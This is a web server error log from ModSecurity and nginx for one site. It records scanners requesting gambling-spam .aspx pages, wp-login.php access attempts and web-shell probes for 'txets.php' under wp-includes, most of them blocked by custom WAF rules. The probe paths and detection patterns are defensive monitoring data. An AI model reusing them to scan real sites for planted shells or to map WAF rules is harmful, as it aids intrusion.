[Wed Mar 11 03:12:14.745599 2026] [:error] [pid 7307:tid 7319] [client 54.37.252.59:53992] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "abBtDutE6Vj1tEJkynEOjwAAAMo"]
2026/03/11 03:12:16 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /yakuza%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/yakuza%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 03:12:16.316568 2026] [:error] [pid 6893:tid 7173] [client 54.37.252.59:54006] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "abBtEDQs7J0yTt-T28koEQAAAFc"]
[Wed Mar 11 03:12:55.239719 2026] [:error] [pid 6894:tid 7198] [client 103.110.84.178:54456] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abBtN54b1T0HQdoE97IMUQAAAI8"]
[Wed Mar 11 03:12:57.153342 2026] [:error] [pid 7307:tid 7316] [client 103.110.84.178:54476] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abBtOetE6Vj1tEJkynEO5QAAAMc"]
[Wed Mar 11 05:03:44.165161 2026] [:error] [pid 6222:tid 6245] [client 64.89.163.10:56852] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "abCHMHs7MIv-0SYBFu10XQAAANU"]
[Wed Mar 11 05:03:44.681919 2026] [:error] [pid 6222:tid 6229] [client 64.89.163.10:56860] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "abCHMHs7MIv-0SYBFu10YAAAAMU"]
[Wed Mar 11 05:03:45.231283 2026] [:error] [pid 6222:tid 6226] [client 64.89.163.10:56868] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "abCHMXs7MIv-0SYBFu10YwAAAMI"]
[Wed Mar 11 05:03:47.959166 2026] [:error] [pid 6222:tid 6227] [client 64.89.163.10:56922] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "abCHM3s7MIv-0SYBFu10cAAAAMM"]
[Wed Mar 11 06:36:10.192844 2026] [:error] [pid 6119:tid 6206] [client 147.135.252.179:41156] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "abCc2m9mEGP4iomVkSZDbAAAAI8"]
2026/03/11 06:36:10 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /auto%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/auto%20slot.aspx", host: "gigfragments.org"
2026/03/11 06:36:11 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflik%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20casino.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:11.940032 2026] [:error] [pid 6118:tid 6177] [client 147.135.252.179:41196] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "abCc21XprP7_-KEgC-0Q0QAAAE4"]
[Wed Mar 11 06:36:13.703283 2026] [:error] [pid 6117:tid 6146] [client 147.135.252.179:41236] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "abCc3cU0P9gyi5rKFp6efwAAAAo"]
2026/03/11 06:36:13 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflik%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20co.aspx", host: "gigfragments.org"
2026/03/11 06:36:15 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflik%20dc.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20dc.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:15.471441 2026] [:error] [pid 6119:tid 6208] [client 147.135.252.179:41274] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "abCc329mEGP4iomVkSZDhAAAAJE"]
2026/03/11 06:36:17 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflik%20original.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20original.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:17.280093 2026] [:error] [pid 6119:tid 6196] [client 147.135.252.179:41302] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "abCc4W9mEGP4iomVkSZDiQAAAIU"]
2026/03/11 06:36:19 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflik%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:19.127520 2026] [:error] [pid 6222:tid 6226] [client 147.135.252.179:41336] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "abCc43s7MIv-0SYBFu2n7wAAAMI"]
[Wed Mar 11 06:36:20.841313 2026] [:error] [pid 6118:tid 6174] [client 147.135.252.179:41372] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "abCc5FXprP7_-KEgC-0Q7QAAAEs"]
2026/03/11 06:36:20 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflik%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20thailand.aspx", host: "gigfragments.org"
2026/03/11 06:36:22 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflix%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20auto.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:22.548056 2026] [:error] [pid 6119:tid 6206] [client 147.135.252.179:41410] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "abCc5m9mEGP4iomVkSZDmwAAAI8"]
[Wed Mar 11 06:36:24.355823 2026] [:error] [pid 6222:tid 6228] [client 147.135.252.179:41440] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "abCc6Hs7MIv-0SYBFu2n_AAAAMQ"]
2026/03/11 06:36:24 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflix%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20casino.aspx", host: "gigfragments.org"
2026/03/11 06:36:25 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflix%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20co.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:25.997851 2026] [:error] [pid 6117:tid 6155] [client 147.135.252.179:41466] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "abCc6cU0P9gyi5rKFp6eiAAAABM"]
2026/03/11 06:36:27 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflix%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:27.694589 2026] [:error] [pid 6222:tid 6247] [client 147.135.252.179:41490] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "abCc63s7MIv-0SYBFu2oAwAAANc"]
2026/03/11 06:36:29 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflix%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20thailand.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:29.456303 2026] [:error] [pid 6119:tid 6207] [client 147.135.252.179:41510] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "abCc7W9mEGP4iomVkSZDrQAAAJA"]
2026/03/11 06:36:31 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /betflix%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20wallet.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:31.244624 2026] [:error] [pid 6119:tid 6209] [client 147.135.252.179:41532] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "abCc729mEGP4iomVkSZDsQAAAJI"]
2026/03/11 06:36:32 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /casino%20betflik.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflik.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:32.917122 2026] [:error] [pid 6119:tid 6191] [client 147.135.252.179:41558] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "abCc8G9mEGP4iomVkSZDtAAAAIA"]
2026/03/11 06:36:34 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /casino%20betflix.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflix.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:34.622365 2026] [:error] [pid 6118:tid 6177] [client 147.135.252.179:41580] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "abCc8lXprP7_-KEgC-0RAgAAAE4"]
2026/03/11 06:36:36 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /casino%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20wallet.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:36.319579 2026] [:error] [pid 6117:tid 6158] [client 147.135.252.179:41606] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "abCc9MU0P9gyi5rKFp6ekgAAABY"]
2026/03/11 06:36:38 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /demon%20slot%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/demon%20slot%20game.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:38.018995 2026] [:error] [pid 6119:tid 6206] [client 147.135.252.179:41628] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "abCc9m9mEGP4iomVkSZDvAAAAI8"]
2026/03/11 06:36:39 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /dg%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/dg%20casino.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:39.645790 2026] [:error] [pid 6222:tid 6227] [client 147.135.252.179:41650] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "abCc93s7MIv-0SYBFu2oIgAAAMM"]
2026/03/11 06:36:41 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /g2g%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/g2g%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:41.330059 2026] [:error] [pid 6118:tid 6169] [client 147.135.252.179:41664] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "abCc-VXprP7_-KEgC-0RCQAAAEY"]
2026/03/11 06:36:43 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /galaxy%20auto%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20auto%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:43.019883 2026] [:error] [pid 6222:tid 6231] [client 147.135.252.179:41688] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abCc-3s7MIv-0SYBFu2oKwAAAMc"]
[Wed Mar 11 06:36:44.797104 2026] [:error] [pid 6222:tid 6246] [client 147.135.252.179:41710] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abCc_Hs7MIv-0SYBFu2oMQAAANY"]
2026/03/11 06:36:44 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /galaxy%20bet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20bet%20slot.aspx", host: "gigfragments.org"
2026/03/11 06:36:46 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /galaxy%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:46.444509 2026] [:error] [pid 6119:tid 6208] [client 147.135.252.179:41740] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "abCc_m9mEGP4iomVkSZDywAAAJE"]
2026/03/11 06:36:48 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /h25%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/h25%20com.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:48.022401 2026] [:error] [pid 6119:tid 6212] [client 147.135.252.179:41762] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "abCdAG9mEGP4iomVkSZDzQAAAJU"]
2026/03/11 06:36:49 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /jili%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/jili%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:49.768849 2026] [:error] [pid 6222:tid 6230] [client 147.135.252.179:41786] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "abCdAXs7MIv-0SYBFu2oPgAAAMY"]
[Wed Mar 11 06:36:51.615379 2026] [:error] [pid 6119:tid 6198] [client 147.135.252.179:41810] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "abCdA29mEGP4iomVkSZD0QAAAIc"]
2026/03/11 06:36:51 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /joker%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/joker%20slot.aspx", host: "gigfragments.org"
2026/03/11 06:36:53 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /joker%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/joker%20vip.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:53.223946 2026] [:error] [pid 6117:tid 6142] [client 147.135.252.179:41826] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "abCdBcU0P9gyi5rKFp6enAAAAAY"]
2026/03/11 06:36:54 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /kingkong%20joker.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/kingkong%20joker.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:54.900327 2026] [:error] [pid 6222:tid 6243] [client 147.135.252.179:41846] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "abCdBns7MIv-0SYBFu2oSwAAANM"]
2026/03/11 06:36:56 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /lava%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/lava%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:56.502152 2026] [:error] [pid 6222:tid 6229] [client 147.135.252.179:41860] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "abCdCHs7MIv-0SYBFu2oTQAAAMU"]
2026/03/11 06:36:58 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /mega%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/mega%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:58.161672 2026] [:error] [pid 6117:tid 6147] [client 147.135.252.179:41878] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "abCdCsU0P9gyi5rKFp6engAAAAs"]
2026/03/11 06:36:59 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /metal%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/metal%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 06:36:59.744936 2026] [:error] [pid 6118:tid 6174] [client 147.135.252.179:41894] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "abCdC1XprP7_-KEgC-0RHQAAAEs"]
2026/03/11 06:37:01 [error] 3468#3468: *534817 upstream prematurely closed connection while reading response header from upstream, client: 147.135.252.179, server: gigfragments.org, request: "GET /pg%20168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20168.aspx", host: "gigfragments.org"
[Wed Mar 11 06:37:01.347615 2026] [:error] [pid 6222:tid 6224] [client 147.135.252.179:41906] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "abCdDXs7MIv-0SYBFu2oVAAAAMA"]
